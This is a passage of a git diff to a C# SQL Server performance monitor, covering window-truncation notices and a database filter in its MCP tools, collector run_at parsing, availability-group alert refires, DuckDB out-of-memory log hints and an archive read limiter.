                 /* The FILTERED population's size, computed in SQL on the same statement as the rows. */
                 total_snapshots = populationCount,
                 snapshots_returned = result.Count,
                 truncated,
                 order = "collection_time_desc",
-                oldest_returned_collection_time = shown[^1].CollectionTime.ToString("o"),
-                newest_returned_collection_time = shown[0].CollectionTime.ToString("o"),
+                /* #4966: where the page's rows stop describes the window the page covers, so it prints like
+                   effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(shown[^1].CollectionTime),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(shown[0].CollectionTime),
                 queries = result
             }, McpHelpers.JsonOptions);
         }
@@ -137,14 +162,20 @@ public static async Task<string> GetActiveQueries(
         return onPage.Contains((row.CollectionTime, row.BlockingSessionId)) ? null : "past_page";
     }
 
-    /// <summary>Names the active filters for the filtered-miss sentence, in the caller's own vocabulary.</summary>
-    private static string DescribeActiveQueryFilters(string? databaseName, bool blockingOnly)
+    /// <summary>
+    /// Names the active filters for the filtered-miss sentence, in the caller's own vocabulary, joined with " with ":
+    /// database_name, then blocking_only, then wait_type (#5235). Darling's twin says the same words.
+    /// </summary>
+    private static string DescribeActiveQueryFilters(string? databaseName, bool blockingOnly, string? waitType)
     {
-        if (databaseName != null && blockingOnly)
-            return $"database_name '{databaseName}' with blocking_only";
+        var parts = new List<string>(3);
         if (databaseName != null)
-            return $"database_name '{databaseName}'";
-        return "blocking_only";
+            parts.Add($"database_name '{databaseName}'");
+        if (blockingOnly)
+            parts.Add("blocking_only");
+        if (waitType != null)
+            parts.Add($"wait_type '{waitType}'");
+        return string.Join(" with ", parts);
     }
 
     [McpServerTool(Name = "get_session_stats"), Description("Gets connection and session statistics grouped by application. Shows connection counts, running/sleeping/dormant breakdown, and aggregate resource usage per application. LATEST IS A TIME: this reads the newest session snapshot, not a window, and captured_at is the instant it was collected - the connection counts are what was connected AT that stamp, not a peak or an average over anything.")]
diff --git a/Lite/Mcp/McpWaitTools.cs b/Lite/Mcp/McpWaitTools.cs
index b4e5210703..ef737fd8b3 100644
--- a/Lite/Mcp/McpWaitTools.cs
+++ b/Lite/Mcp/McpWaitTools.cs
@@ -42,6 +42,15 @@ public static async Task<string> GetWaitStats(
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: where this server's wait_stats data starts for the window. The rows are per-type sums over the whole
+               window, so a window the store only partly held sums less than it asked for with nothing in the numbers saying
+               so. Keyed on the data answer only: the no-rows answer above is `unavailable` and stays bare. The probe reads
+               the collector's coverage on collection_time, the column the sum windows on. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.WaitStats, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "wait_stats");
+
             var result = page.Select(r => new
             {
                 wait_type = r.WaitType,
@@ -56,6 +65,11 @@ public static async Task<string> GetWaitStats(
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the data starts, always present (false and null when the store covered the window). No
+                   effective_hours_back: this payload carries a page `truncated`. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 /* #3541 A3: the page described as a page, on Darling's names. No time bounds here — the rows
                    are per-type aggregates over the whole window, so there is no page reach to report, only a
                    cap. */
@@ -192,14 +206,15 @@ every trend tool of both SKUs — see BaselineDiscontinuities. */
         }
     }
 
-    [McpServerTool(Name = "get_waiting_tasks"), Description("Gets recently captured waiting tasks — queries that were actively waiting on a resource at collection time — NEWEST CAPTURE FIRST, longest wait first within a capture. Shows session ID, wait type, duration, blocking session, and database. Complements get_wait_stats by showing individual waiting queries rather than aggregated stats. THE PAGE IS BOUNDED BY limit, NOT BY hours_back: tasks_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_collection_time / newest_returned_collection_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, and one busy capture can fill the whole page by itself. Raise limit or narrow hours_back when truncated is true.")]
+    [McpServerTool(Name = "get_waiting_tasks"), Description("Gets recently captured waiting tasks — queries that were actively waiting on a resource at collection time — NEWEST CAPTURE FIRST, longest wait first within a capture. Shows session ID, wait type, duration, blocking session, and database. Complements get_wait_stats by showing individual waiting queries rather than aggregated stats. <<GUIDE>> THE PAGE IS BOUNDED BY limit, NOT BY hours_back: tasks_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_collection_time / newest_returned_collection_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, and one busy capture can fill the whole page by itself. Raise limit or narrow hours_back when truncated is true. When the store did not cover the whole window, effective_start, window_truncated and truncation_note say where its data starts.")]
     public static async Task<string> GetWaitingTasks(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 1.")] int hours_back = 1,
         [Description("Maximum rows to return, newest capture first. Default 30. This is what bounds the page — read truncated to know whether the window held more.")] int limit = 30,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -212,13 +227,39 @@ public static async Task<string> GetWaitingTasks(
             var limitError = McpHelpers.ValidateTop(limit);
             if (limitError != null) return limitError;
 
+            /* #5244: database_name appended LAST (H1). The reader already takes a database list, so the one name rides it
+               into the SQL BEFORE the limit + 1 fetch: limit counts the CHOSEN database's tasks, as on Darling. A blank
+               or whitespace name is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the observed truncation
                signal. The read was UNBOUNDED with a Take(limit) on top, and the envelope stated no bound. */
-            var rows = await dataService.GetWaitingTasksAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1);
+            var rows = await dataService.GetWaitingTasksAsync(resolved.ServerId, hours_back, databaseNames: database == null ? null : new[] { database }, asOfUtc: windowEnd, limit: limit + 1);
+
+            /* #4966: where this server's waiting_tasks start for the window, beside the page cut below — truncated
+               says the window held more than limit, this says the store did not hold the window's head. The page's
+               oldest_returned_collection_time already names where ITS rows stop, so no key is added for that. The
+               probe reads coverage (the collector's logged runs count as well as rows: nothing waits for hours on a
+               quiet server, so its first row can come long after the store began covering the window), from the
+               same view the page was read from. Read ahead of the empty answer, which carries it too: nothing
+               waiting over a window the store does not reach back to is not a true negative. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.WaitingTasks, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "waiting_tasks", emptyAnswer: rows.Count == 0);
+
             if (rows.Count == 0)
             {
+                /* #5244: a filtered miss still asks whether the collector ever ran first (never collected stays
+                   not_collected), and only then says the CHOSEN database had none, in Darling's words: it is not a
+                   verdict on the databases nobody read. */
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "waiting_tasks")
-                    ?? McpHelpers.Status("empty", "No waiting tasks captured in the specified time range.");
+                    ?? McpHelpers.Status("empty",
+                        database == null
+                            ? "No waiting tasks captured in the specified time range."
+                            : $"No waiting tasks captured in the specified time range{McpDatabaseSelection.ForChosen(new[] { database })}. "
+                              + "The filter was applied in SQL over the whole window, so waiting tasks of other databases may well exist; drop it to see what the window holds.",
+                        notice.AsHints());
             }
 
             var truncated = rows.Count > limit;
@@ -242,10 +283,21 @@ signal. The read was UNBOUNDED with a Take(limit) on top, and the envelope state
                    span requested, the page described as a page, and the span the page covers, on Darling's
                    names. */
                 hours_back,
+                /* #4966: the window floor, always present (false and null when the store covered the window). No
+                   effective_hours_back: this payload carries a page `truncated`, and the census holds that key
+                   apart for the window floor (McpPayloadContractCensusTests), so the reach is the instant. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: the chosen database, null for all. After the three notice keys, which stay right behind hours_back,
+                   as on Darling's twin. */
+                database_name = database,
                 tasks_returned = page.Count,
                 truncated,
-                oldest_returned_collection_time = page.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = page.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window the page covers, so it prints like
+                   effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.CollectionTime)),
                 order = "collection_time_desc",
                 tasks = result
             }, McpHelpers.JsonOptions);
diff --git a/Lite/Models/CollectorSchedule.cs b/Lite/Models/CollectorSchedule.cs
index 09a982f7e3..bb32a8e4bf 100644
--- a/Lite/Models/CollectorSchedule.cs
+++ b/Lite/Models/CollectorSchedule.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Text.Json;
 using System.Text.Json.Serialization;
 
 namespace PerformanceMonitorLite.Models;
@@ -47,6 +48,17 @@ public class CollectorSchedule
     [JsonPropertyName("description")]
     public string? Description { get; set; }
 
+    /// <summary>
+    /// #4938: the time of day this collector should run, as 24-hour HH:MM on the monitored server's clock, such as
+    /// "02:00". Missing means none. It applies only where the collector runs once a day or less often; on any other
+    /// interval it is ignored, with a log warning. Written to the file only when set, and an older Lite skips it as a
+    /// field it does not know. A value in the file that is not a JSON string, such as <c>120</c>, reads as its own text
+    /// (<see cref="RunAtJsonConverter"/>), so the run-time check refuses it like "25:00" instead of the whole file failing to load.
+    /// </summary>
+    [JsonPropertyName("run_at")]
+    [JsonConverter(typeof(RunAtJsonConverter))]
+    public string? RunAt { get; set; }
+
     /// <summary>
     /// The last time this collector was run successfully.
     /// </summary>
@@ -130,3 +142,38 @@ public string FrequencyDisplay
         }
     }
 }
+
+/// <summary>
+/// #4938: reads a collector's <c>run_at</c> so that a value of the wrong JSON type costs only that collector's run
+/// time. A string reads as it always did. Any other token (a number, true or false, an object, an array) reads as its
+/// own JSON text, such as "120", which the run-time check refuses like "25:00": it logs a warning that names the
+/// collector, and the collector runs on its interval. Without this, a hand edit such as <c>"run_at": 120</c> threw
+/// while the file was read, so Lite restored the backup or the defaults and every other edit in the file was lost.
+/// The value is written back as text, so the next load meets an ordinary string.
+/// </summary>
+internal sealed class RunAtJsonConverter : JsonConverter<string?>
+{
+    public override string? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options)
+    {
+        if (reader.TokenType == JsonTokenType.String)
+        {
+            return reader.GetString();
+        }
+
+        /* ParseValue takes the whole value, nested or not, and leaves the reader on its last token. */
+        using var document = JsonDocument.ParseValue(ref reader);
+        return document.RootElement.GetRawText();
+    }
+
+    public override void Write(Utf8JsonWriter writer, string? value, JsonSerializerOptions options)
+    {
+        if (value is null)
+        {
+            writer.WriteNullValue();
+        }
+        else
+        {
+            writer.WriteStringValue(value);
+        }
+    }
+}
diff --git a/Lite/Models/ServerConnection.cs b/Lite/Models/ServerConnection.cs
index c51c2ac8ef..a0673a199d 100644
--- a/Lite/Models/ServerConnection.cs
+++ b/Lite/Models/ServerConnection.cs
@@ -174,6 +174,12 @@ public bool UseWindowsAuth
     [JsonIgnore]
     public string DisplayNameWithIntent => ReadOnlyIntent ? $"{DisplayName} (Read-Only)" : DisplayName;
 
+    /// <summary>
+    /// What a screen reader announces for a server in a list or drop-down box (UI Automation names an item by its text):
+    /// the name the box shows, not the type name "ServerConnection".
+    /// </summary>
+    public override string ToString() => DisplayNameWithIntent;
+
     /// <summary>
     /// Display-only property for showing authentication type in UI.
     /// </summary>
diff --git a/Lite/Services/AgAlertEvaluator.cs b/Lite/Services/AgAlertEvaluator.cs
index 94201768b0..db9ad6fbbe 100644
--- a/Lite/Services/AgAlertEvaluator.cs
+++ b/Lite/Services/AgAlertEvaluator.cs
@@ -233,6 +233,10 @@ from the sixth hour of one. The wording matches the connection re-fire's. */
                         "partner. Check the replica's SQL Server service, the availability endpoint (TCP 5022 by " +
                         "default) and its firewall rule, the WSFC quorum, and the network between the nodes.",
                         IsResolution: false,
+                        /* The pair's incident identity rides the alert, so a PagerDuty resolve lands on it: a
+                           single "AG:replica" member (not two) so it can't be set half-way. Only this pair
+                           carries it — every other grain's incidents answer through fingerprints already. */
+                        Context: AgAlertContexts.ForReplica(replica.AgName, replica.ReplicaServerName),
                         RefireStampKey: key,
                         RetryKey: disconnectRetryKey));
                 }
@@ -251,7 +255,9 @@ announces on its own edge regardless. */
                         $"Availability Group '{replica.AgName}': replica {replica.ReplicaServerName} is connected to " +
                         "the primary again. It is still behind by whatever accumulated while it was gone — watch the " +
                         "send and redo queues until they drain before you count it as a failover target again.",
-                        IsResolution: true));
+                        IsResolution: true,
+                        /* Same incident identity as the firing, on both edges: the pair is one incident. */
+                        Context: AgAlertContexts.ForReplica(replica.AgName, replica.ReplicaServerName)));
                 }
             }
         }
@@ -261,7 +267,8 @@ announces on its own edge regardless. */
 
     /// <summary>
     /// The database-grain conditions for one server: "AG Database Suspended" (a pure <c>is_suspended</c>
-    /// false→true edge) and "AG Sync Fell Behind" (a standing condition with a cooldown re-fire).
+    /// false→true edge) and "AG Sync Fell Behind" (a state alert, #5493: one alert on entry, a repeat only per the
+    /// refire interval).
     ///
     /// <para>Recovery is driven off the databases this sweep MEASURED as caught up, never off "everything
     /// tracked that did not breach" — a lagging database that becomes SUSPENDED, or whose columns go NULL
@@ -269,8 +276,10 @@ announces on its own edge regardless. */
     /// caught up in the same sweep that reports it suspended. Resolutions are returned as
     /// <see cref="AgAlert.IsResolution"/> notices so the caller can record them without paging.</para>
     /// </summary>
-    /// <param name="cooldown">How long a standing sync-behind alert waits before re-firing. Lite passes the
-    /// user's configured alert cooldown, matching what its other standing alerts use.</param>
+    /// <param name="refireInterval">#5493: how long a standing sync-behind alert waits before it is announced again.
+    /// Lite passes <c>connection_refire_minutes</c>, as "Server Unreachable" does; zero or less is off, and a
+    /// standing condition is then announced once. An alert no channel delivered is sent again after the
+    /// failed-send delay whatever this says (#4795).</param>
     /// <param name="sweepGeneration">#4795: as on <see cref="EvaluateReplicas"/>: given and out of date, this returns
     /// nothing and records nothing.</param>
     public List<AgAlert> EvaluateDatabases(
@@ -278,7 +287,7 @@ public List<AgAlert> EvaluateDatabases(
         IReadOnlyList<AgDatabaseReading> databases,
         int lagThresholdSeconds,
         long redoThresholdKb,
-        TimeSpan cooldown,
+        TimeSpan refireInterval,
         int? sweepGeneration = null)
     {
         var alerts = new List<AgAlert>();
@@ -372,31 +381,36 @@ public List<AgAlert> EvaluateDatabases(
             {
                 _activeSyncBehind.Add(key);
                 var syncRetryKey = RetryKeyFor(key, AgAlertPolicy.SyncFellBehindMetric);
-                /* #4732: a stamp ahead of the clock (it stepped back) is replaced by this sweep's reading and counted from there. */
+                /* #5493: the shape "Server Unreachable" has (ConnectionAlertPolicy). A database with no stamp is the
+                   entry: one alert. While it stays behind it repeats only when the refire interval is on and has
+                   passed, or to send again an alert no channel delivered (#4795, the due time below). A stamp ahead
+                   of the clock (it stepped back) is replaced by this sweep's reading and counted from there (#4732). */
                 var hadStamp = LastFiredStamp.TryGet(_lastSyncBehindAlert, key, now, out var last);
-                if (!_retries.RetryPending(syncRetryKey, now) && (!hadStamp || now - last >= cooldown))
+                var decision = ConnectionAlertPolicy.Decide(
+                    previousOnline: !hadStamp,
+                    online: false,
+                    alertWhenAlreadyDownAtFirstSight: false,
+                    refireInterval: refireInterval > TimeSpan.Zero ? refireInterval : null,
+                    lastDownAlertUtc: hadStamp ? last : null,
+                    nowUtc: now,
+                    retryDueUtc: _retries.DueUtc(syncRetryKey, now));
+                if (decision is ConnectionAlertDecision.Lost or ConnectionAlertDecision.StillDown)
                 {
                     _lastSyncBehindAlert[key] = now;
 
-                    /* #4795: the cooldown stamp is taken at the decision. A send that reaches no channel puts
-                       it back (the prior stamp, or none), so the retry after the failed-send delay is not made
-                       to wait out the whole cooldown. */
-                    _putBack[syncRetryKey] = () =>
-                    {
-                        if (hadStamp)
-                        {
-                            _lastSyncBehindAlert[key] = last;
-                        }
-                        else
-                        {
-                            _lastSyncBehindAlert.Remove(key);
-                        }
-                    };
+                    /* The stamp stays at this send even when no channel took it: the retry is brought back by its due
+                       time, not by a stamp that looks old. */
+                    var repeatNote = decision == ConnectionAlertDecision.Lost
+                        ? string.Empty
+                        : refireInterval > TimeSpan.Zero
+                            ? "Still behind (re-alerting every " +
+                              ((int)refireInterval.TotalMinutes).ToString(CultureInfo.InvariantCulture) + " min). "
+                            : "Still behind (the previous alert reached no channel, so it is sent again). ";
                     alerts.Add(new AgAlert(
                         AgAlertPolicy.SyncFellBehindMetric,
                         behindReason,
                         "caught up",
-                        behindReason + " A secondary that trails the primary is a data-loss window: an automatic " +
+                        repeatNote + behindReason + " A secondary that trails the primary is a data-loss window: an automatic " +
                         "failover cannot complete until it catches up, and a forced failover throws away everything " +
                         "still queued. Look at the network throughput between the replicas, the secondary's redo " +
                         "thread, and whether something on the primary — an index rebuild, a bulk load, a long " +
diff --git a/Lite/Services/AppAlertSettings.cs b/Lite/Services/AppAlertSettings.cs
index 1b19c66b01..a004849f98 100644
--- a/Lite/Services/AppAlertSettings.cs
+++ b/Lite/Services/AppAlertSettings.cs
@@ -50,6 +50,7 @@ public sealed class AppAlertSettings : IAlertSettings
     public string PagerDutyRoutingKey   => App.PagerDutyRoutingKey;
     public bool   PagerDutyUseEuRegion  => App.PagerDutyUseEuRegion;
     public string PagerDutyProxyAddress => App.PagerDutyProxyAddress;
+    public bool   PagerDutyAutoResolve  => App.PagerDutyAutoResolve;
 
     public double AnalysisNotifySeverity        => App.AnalysisNotifySeverity;
     public int    AnalysisNotifyCooldownMinutes => App.AnalysisNotifyCooldownMinutes;
diff --git a/Lite/Services/AppLogger.cs b/Lite/Services/AppLogger.cs
index ab4a1541bc..fcf57c1bb0 100644
--- a/Lite/Services/AppLogger.cs
+++ b/Lite/Services/AppLogger.cs
@@ -187,7 +187,7 @@ public static void Warn(string source, string message)
     {
         if (!IsEnabled(LogLevel.Warning)) return;
 
-        Log("WARN", source, message);
+        Log("WARN", source, WithDuckDbOutOfMemoryHint(message, null));
     }
 
     public static void Error(string source, string message, Exception? ex = null) =>
@@ -215,7 +215,8 @@ admitted or dropped together — a half-written error is harder to read than non
 
         if (ex != null)
         {
-            Log("ERROR", source, $"{message} | {ex.GetType().Name}: {ex.Message}");
+            /* The hint rides on the first line only, so a chain holding the DuckDB error at any depth gets it once. */
+            Log("ERROR", source, WithDuckDbOutOfMemoryHint($"{message} | {ex.GetType().Name}: {ex.Message}", ex));
             Log("ERROR", source, $"Stack: {ex.StackTrace}");
 
             /* Log all inner exceptions recursively */
@@ -243,10 +244,70 @@ admitted or dropped together — a half-written error is harder to read than non
         }
         else
         {
-            Log("ERROR", source, message);
+            Log("ERROR", source, WithDuckDbOutOfMemoryHint(message, null));
         }
     }
 
+    /// <summary>
+    /// DuckDB's exact out-of-memory prefix. Deliberately not <c>DuckDbMemoryLimitSetting.IsOutOfMemory</c>: that
+    /// test is broad on purpose for the surfaces that show an error, but a monitored SQL Server's own memory
+    /// errors ("There is insufficient system memory ...") must not be told to raise a DuckDB setting (#5457).
+    /// </summary>
+    private const string DuckDbOutOfMemoryText = "Out of Memory Error:";
+
+    /// <summary>
+    /// Appends <see cref="DuckDbMemoryLimitSetting.OutOfMemoryHint"/> once to a WARN or ERROR line that is a
+    /// DuckDB out-of-memory error, so the roughly 85 catch blocks that only log the raw message still name the
+    /// setting (#5457). A line that already holds the hint (<see cref="DuckDbMemoryLimitSetting.Describe"/>'s
+    /// own text) is left alone, and the hint does not itself contain DuckDB's prefix, so it cannot recurse.
+    /// Never throws: logging must not be the reason a read fails.
+    /// </summary>
+    private static string WithDuckDbOutOfMemoryHint(string message, Exception? ex)
+    {
+        try
+        {
+            if (message == null || message.Contains(DuckDbMemoryLimitSetting.HintMarker, StringComparison.Ordinal))
+            {
+                return message!;
+            }
+
+            if (!message.Contains(DuckDbOutOfMemoryText, StringComparison.Ordinal) && !ChainHasDuckDbOutOfMemory(ex))
+            {
+                return message;
+            }
+
+            return $"{message} {DuckDbMemoryLimitSetting.OutOfMemoryHint(Database.DuckDbInitializer.ConfiguredMemoryLimitGb)}";
+        }
+        catch
+        {
+            return message;
+        }
+    }
+
+    private static bool ChainHasDuckDbOutOfMemory(Exception? ex)
+    {
+        for (var e = ex; e != null; e = e.InnerException)
+        {
+            if (e.Message.Contains(DuckDbOutOfMemoryText, StringComparison.Ordinal))
+            {
+                return true;
+            }
+
+            if (e is AggregateException agg)
+            {
+                foreach (var inner in agg.InnerExceptions)
+                {
+                    if (ChainHasDuckDbOutOfMemory(inner))
+                    {
+                        return true;
+                    }
+                }
+            }
+        }
+
+        return false;
+    }
+
     public static void Debug(string source, string message)
     {
         if (!IsEnabled(LogLevel.Debug)) return;
diff --git a/Lite/Services/ArchiveReadLimiter.cs b/Lite/Services/ArchiveReadLimiter.cs
new file mode 100644
index 0000000000..b20e77894b
--- /dev/null
+++ b/Lite/Services/ArchiveReadLimiter.cs
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitorLite.Services;
+
+/// <summary>
+/// A small, process-wide limit on how many EXPENSIVE archive reads run at once (#5377): the cache-miss reads
+/// of the <c>v_{table}</c> archive views and the forced-plan alert's read of <c>v_query_store_stats</c>.
+///
+/// <para><b>Why.</b> One DuckDB engine serves the whole process, and a read over the Parquet-backed views
+/// binds and scans the whole archive. A user measured five of them at once taking 41 to 63 s each, against 3 s
+/// alone: the engine shares its threads between them, so each finishes later and every caller waits longer
+/// than it would have in line. Two at a time keeps each read near its solo time and makes the rest queue
+/// cheaply, as an <c>await</c> that holds no lock and no thread.</para>
+///
+/// <para><b>Lock order: the limiter FIRST, then the process-wide database read lock, and the read lock is
+/// released first.</b> A read waits for a slot holding nothing. If it took the read lock first and waited here
+/// holding it, a pending CHECKPOINT or archive writer (<c>ReaderWriterLockSlim</c> parks new readers behind a
+/// waiting writer) could never get in, because the waiter that holds the read lock needs a slot that only a
+/// read behind the writer can free: a deadlock. In this order a thread that holds the read lock never waits
+/// for a slot, so no wait-for cycle can form, and a writer waits only for reads that are already running and
+/// will finish. The slot is taken with a token, so a cancelled waiter leaves promptly; it releases nothing,
+/// because it took nothing.</para>
+///
+/// <para><b>Not thread-affine.</b> A <see cref="SemaphoreSlim"/> slot may be released from any thread, so the
+/// <c>await</c> that takes it can resume anywhere; the read lock is entered only AFTER it, on the thread that
+/// then runs the read (the premise <c>DuckDbInitializer.LockReleaser</c> documents).</para>
+/// </summary>
+internal sealed class ArchiveReadLimiter
+{
+    /// <summary>The width of the process-wide limiter: two archive reads at a time.</summary>
+    internal const int SharedWidth = 2;
+
+    /// <summary>The one limiter every archive-view read and the forced-plan alert read share.</summary>
+    internal static ArchiveReadLimiter Shared { get; } = new(SharedWidth);
+
+    private readonly SemaphoreSlim _slots;
+
+    internal ArchiveReadLimiter(int width)
+    {
+        Width = width;
+        _slots = new SemaphoreSlim(width, width);
+    }
+
+    /// <summary>How many reads may hold a slot at once.</summary>
+    internal int Width { get; }
+
+    /// <summary>How many slots are free right now.</summary>
+    internal int Available => _slots.CurrentCount;
+
+    /// <summary>
+    /// Waits for a slot. Throws <see cref="OperationCanceledException"/> when <paramref name="cancellationToken"/>
+    /// fires first, having taken nothing. Dispose the result to give the slot back; disposing twice gives it
+    /// back once.
+    /// </summary>
+    internal async Task<IDisposable> EnterAsync(CancellationToken cancellationToken)
+    {
+        await _slots.WaitAsync(cancellationToken).ConfigureAwait(false);
+        return new Slot(_slots);
+    }
+
+    private sealed class Slot(SemaphoreSlim slots) : IDisposable
+    {
+        private int _released;
+
+        public void Dispose()
+        {
+            if (Interlocked.Exchange(ref _released, 1) == 0)
+                slots.Release();
+        }
+    }
+}
diff --git a/Lite/Services/ArchiveService.cs b/Lite/Services/ArchiveService.cs
index e3da316419..27c8d73de5 100644
--- a/Lite/Services/ArchiveService.cs
+++ b/Lite/Services/ArchiveService.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Diagnostics;
 using System.Globalization;
 using System.IO;
 using System.Linq;
@@ -78,6 +79,17 @@ writer would. */
     internal static Func<Task>? BetweenPreserveCopyAndResetForTests { get; set; }
     internal long CompactionBatchInputBytes { get; set; } = ParquetCompaction.DefaultBatchInputBytes;
 
+    /* The per-batch input budget for the tables merged one day at a time (query_snapshots, #5393; query_stats and query_store_stats, #5410). */
+    internal long DailyCompactionBatchInputBytes { get; set; } = ParquetCompaction.DailyBatchInputBytes;
+
+    /// <summary>
+    /// The most disk space (bytes) the last compaction pass found a single month/table group would need for its
+    /// merged output: the on-disk size of the files it would read, which its temps match until the swap removes
+    /// them (#5377). 0 before the first pass. The volume warning at the start of each archive pass compares the
+    /// volume's free space with this and the database file's size.
+    /// </summary>
+    internal long LastCompactionLargestNeedBytes { get; private set; }
+
     /* Stand in for a process kill at the two points of the periodic export where one matters (#4720): the first
        fires after the table's journal is written and before the file is promoted, the second after the file is
        promoted and before its rows are deleted. A seam throws SimulatedKillException to abort the whole run the
@@ -93,6 +105,13 @@ promoted and before its rows are deleted. A seam throws SimulatedKillException t
        rebuilt (#4720): the same moment for a replay that the seam above marks for a swap. */
     internal Action? AfterCompactionReplayForTests { get; set; }
 
+    /* How long one compaction pass keeps starting new merges of a daily table (query_snapshots, #5393; query_stats and query_store_stats, #5410). A store
+       that already holds months of per-cycle files merges one day per group, slowly (the table's budget is a few
+       MiB and one thread), so the first pass could hold the pass for hours; past this time it starts no further
+       daily merge and the rest of the backlog goes on in the next pass. The first daily merge always starts, so a
+       pass makes progress whatever this is set to. A merge already running is not interrupted. */
+    internal TimeSpan DailyCompactionPassBudget { get; set; } = TimeSpan.FromMinutes(5);
+
     /* Replaces the minute-resolution file-name prefix, so a test can put two runs in different "minutes"
        without waiting for the clock. */
     internal string? TimestampForTests { get; set; }
@@ -117,7 +136,7 @@ retrying every minute would only log the same failure sixty times an hour. */
        deleted only once every new file is in place. The suffix keeps them out of every *.parquet scan and glob. */
     private const string ReplacedSuffix = ".replaced";
 
-    /* One per month/table being swapped: written after every batch is merged and before any file is renamed,
+    /* One per month/table (or day/table, for a table merged per day) being swapped: written after every batch is merged and before any file is renamed,
        removed when the swap is complete. Found at the start of a later run, it means the previous run did
        not finish, and the run finishes or undoes that swap before merging anything. */
     private const string SwapJournalSuffix = ".swap";
@@ -210,6 +229,10 @@ public async Task ArchiveOldDataAsync(int hotDataDays = HotDataDays, int? hotDat
         await RemoveUnfinishedResetExportsAndRefreshViewsAsync();
         await RecoverInterruptedArchiveWorkAsync();
 
+        /* Once per pass (#5377): the compaction at the end of this pass and the next CHECKPOINT both write
+           next to what they replace, so a volume with less free space than they need is named here. */
+        _duckDb.WarnIfDataVolumeLow(LastCompactionLargestNeedBytes);
+
         var cutoffDate = hotDataHours.HasValue
             ? DateTime.UtcNow.AddHours(-hotDataHours.Value)
             : DateTime.UtcNow.AddDays(-hotDataDays);
@@ -217,6 +240,14 @@ public async Task ArchiveOldDataAsync(int hotDataDays = HotDataDays, int? hotDat
 
         _logger?.LogInformation("Archiving data older than {CutoffDate} to Parquet (prefix: {Timestamp})", cutoffDate, timestamp);
 
+        /* #5377: what the archive holds before this pass touches it (the recoveries above rebuild the views
+           themselves when they change anything). The views are rebuilt at the end only when this differs, or when
+           a table's file was promoted: every rebuild bumps the archive generation and throws away every cached
+           watermark, so rebuilding after a pass that moved nothing made the next read of each table pay for the
+           watermark again. */
+        var archiveBefore = SnapshotArchiveFiles();
+        var promotedAnyFile = false;
+
         /* Archive each table independently. Export-to-Parquet (COPY ... TO)
            only READS the database, so it runs under a read lock — concurrently
            with the UI. Only the DELETE modifies the file, and the promote of
@@ -303,6 +334,7 @@ journal to delete them instead of exporting them a second time.
                         WritePendingArchive(table, cutoffDate, Path.GetFileName(parquetPath));
                         BeforePromoteForTests?.Invoke(table);
                         MoveWithRetry(tempParquetPath, parquetPath);
+                        promotedAnyFile = true;
                     }
                     catch (Exception ex) when (ex is not SimulatedKillException)
                     {
@@ -353,8 +385,13 @@ a view whose glob matches nothing fails every read of that table until the next
         }
         finally
         {
-            /* Refresh archive views outside write lock — view creation is fast and safe */
-            await _duckDb.CreateArchiveViewsAsync();
+            /* Refresh archive views outside write lock — view creation is fast and safe. Skipped when the pass
+               left the archive's files as it found them (#5377); a file promoted or swapped by a pass that then
+               failed counts as a change, so the partial-failure paths still rebuild. */
+            if (promotedAnyFile || !SnapshotArchiveFiles().SequenceEqual(archiveBefore, StringComparer.Ordinal))
+            {
+                await _duckDb.CreateArchiveViewsAsync();
+            }
         }
         }
         finally
@@ -364,6 +401,35 @@ a view whose glob matches nothing fails every read of that table until the next
         }
     }
 
+    /* The archive's membership as the views see it (#5377): every file their *_table.parquet globs match, with its
+       size and write time so a file swapped under the same name differs too. Sorted, so two snapshots compare
+       element by element. */
+    private List<string> SnapshotArchiveFiles()
+    {
+        var snapshot = new List<string>();
+        if (!Directory.Exists(_archivePath))
+        {
+            return snapshot;
+        }
+
